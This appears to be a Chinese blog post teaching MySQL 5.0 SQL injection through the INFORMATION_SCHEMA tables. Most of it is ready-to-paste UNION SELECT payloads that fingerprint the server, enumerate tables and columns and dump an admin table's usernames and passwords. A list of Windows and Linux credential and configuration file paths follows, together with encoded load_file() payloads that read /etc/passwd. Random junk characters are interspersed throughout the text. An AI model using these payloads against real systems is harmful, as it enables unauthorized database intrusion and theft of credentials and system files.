mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


7 o7 W& R9 L/ F" l! }* c9 ~( d# p
' K9 [# w. c. k3 E+ W0 k0 kMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
- Z; s1 O( f/ B! Q- d# a中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
8 R9 I# [+ _3 c& Y, a3 p|—字段：SCHEMA_NAME ->数据库名称
, q2 U* c8 E7 m  E
|TABLES ->存储表名
2 U) U9 _! N2 p3 f|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
# x' K& j$ M$ l2 G- [/ j% W|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
" f" G1 o/ J& P0 Y  d5 S- N|—字段：TABLE_NAME ->存储所属表的名称

5 k6 p; {6 P, Q: x% X3 m|—字段：COLUMN_NAME ->该字段的名称

1 J6 \; ?5 n! c1 z" [#########################################################################
##

+ c7 s' k6 [! I, z% D) e0×001 获取系统信息:
0 L& }$ e8 Y8 |- \
6 B3 E7 D. ~3 V5 S$ k4 Nunion select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
0 H/ B, O( F* g* G  S. u$ u, S
9 `1 @  i0 i: p# p9 l& m$ n/*

@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
0 O6 p7 x. H% X: v5 Q  d; p4 h6 gdatabase() 当前数据库名称
0x3c62723e 换行HEX值

*/

+ o9 n9 S9 x( b& L: c. t: \######################################################################
0 E* \& u, S' w, d: ]* f8 e
4 Y+ H: Z; Q- z+ F- U$ B+ ~0×002 获取表名

5 Q( \: f+ A: d1 e0 Y& U) T# Z; u4 Munion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
* V  }: U$ ]( z1 h3 C/ ], `/ Z' q
/ m' V8 r& Q5 b1 H; ^1 z( h/*

0x67617264656e 为当前数据库名

$ v- I2 Q  p( V! K$ z5 b9 Ogroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名

: b  O0 d: j  N0 q& I# R) Y  j2 O' [*/

& t" J9 Q7 }4 e) C& Y: k( i' q$ E7 p+ o2 p######################################################################

0×003 获取字段
4 r( {% U0 X" P% a# h& p4 o& s
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
8 [" t' {, `4 a9 e1 d7 y9 Uinformation_schema.columns where table_name=0x61646d696e and

& o. w3 b' {0 \: ?4 A
table_schema=0x67617264656e limit 1 /*
  y1 w9 y3 c6 D' S+ l; w
* z8 t& G$ r8 B1 f! \/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
& K$ m( _" D$ f; v% G0 T) m
0x61646d696e ->选择一个表
  X; i2 i$ v" X1 p2 E) g
0x67617264656e ->数据库名

! W- M0 U- Q. W* Z# c*/
: i  X' y  H4 D0 Q! v
#####################################################################

/ ^3 Q4 A% w# I' I0×004 获取数据
" S  ]: h( J3 K" M& q# w
union select 1,2,3
& w4 G1 N5 E& J6 N$ `( W,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 Y1 T! |& }8 [4 J* q) W/ B2 Q
; \+ X! a4 U  U! c' Funion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
, R9 w. {( h+ a' r. O6 g8 O
/*
) V8 j+ e. G% ^) {  f
& [. F. i" P3 t, I2 n, l# P0x3c62723e 换行符号HEX编码
( i$ S: J4 j: z5 g1 b( f
group_concat 同时获得该字段所有数据
& w; h5 \5 A) n
9 f0 t5 Q& H6 [, N, o$ O*/

$ `% w( C. a$ [' ?

8 [* [, f) k6 q1 K3 G3 |7 C
; O& ^- k/ M4 o: l8 W, I3 c- N6 w
顺便添加一些mysql注入时非常有用的一些东西

简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

9 F/ Q* r: `5 J" E1:system_user() 系统用户名
9 m. ?: O0 ]/ f* o2:user()        用户名
5 Q5 @/ }/ y( D' A, l/ U3:current_user()  当前用户名
$ u- ]3 A2 u4 u4:session_user()连接数据库的用户名
- k0 `3 \: @+ \( h$ S  y  ^  W# b" y5:database()    数据库名
3 g$ @! s& C  `. I6 Q6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
% X1 G/ p9 g9 ^2 pWINDOWS下:
c:/boot.ini          //查看系统版本
* }  m) u- _2 ~0 u- ]c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
) o& g" y1 K- ^. t0 nc:/winnt/php.ini
c:/winnt/my.ini
/ T3 R6 y" U. [c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
5 J# U) p5 Y3 Q/ H7 u3 zc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
. {2 b2 \' Z! xc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
8 f* l4 S. |6 jc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
3 ?+ X& P9 J/ O: q) ?c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
8 t  p- I' P7 k" p) `) D; {; \

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
5 u" b. f) O8 N2 \c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
( ~; `  n% F/ t' ]; dC:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

. Y$ `9 z* w7 N0 p" \LUNIX/UNIX下:
) j( F; n/ |1 z; }' f: ^9 ^/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
3 @% A( y" ~) \# b6 D/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
) c% R0 M9 |* `$ U. j/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
6 n3 {' F/ H7 h4 o/etc/rsyncd.conf //同步程序配置文件
- F6 T9 h* k/ i1 M1 }' K9 K3 Y/etc/my.cnf //mysql的配置文件
5 l! s5 r3 K9 ^/ N, h4 s  L6 ?, V" T- }/etc/redhat-release //系统版本
, d4 @/ W, c, r# y6 B6 w/etc/issue
& _) O0 F  y& t; B/etc/issue.net
5 {; E0 `, T/ f5 u6 T* Z3 b/usr/local/app/php5/lib/php.ini //PHP相关设置
3 S, U' B& D& Y9 w& t! O7 ]/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
" C0 i* i$ z3 k* q2 u/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
" \- F6 z7 n: k5 B+ V/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
& B2 c/ u% E- _; g3 Y/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
: x. h5 {  V9 A. J/ f! Y1 p/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
3 z9 K- g1 h. ]" u* _. Q  ^% i+ |/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4 z# h5 f% k0 Q; Y* x9 Rreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

1 m0 x2 z$ d* w6 D/ w4 n+ R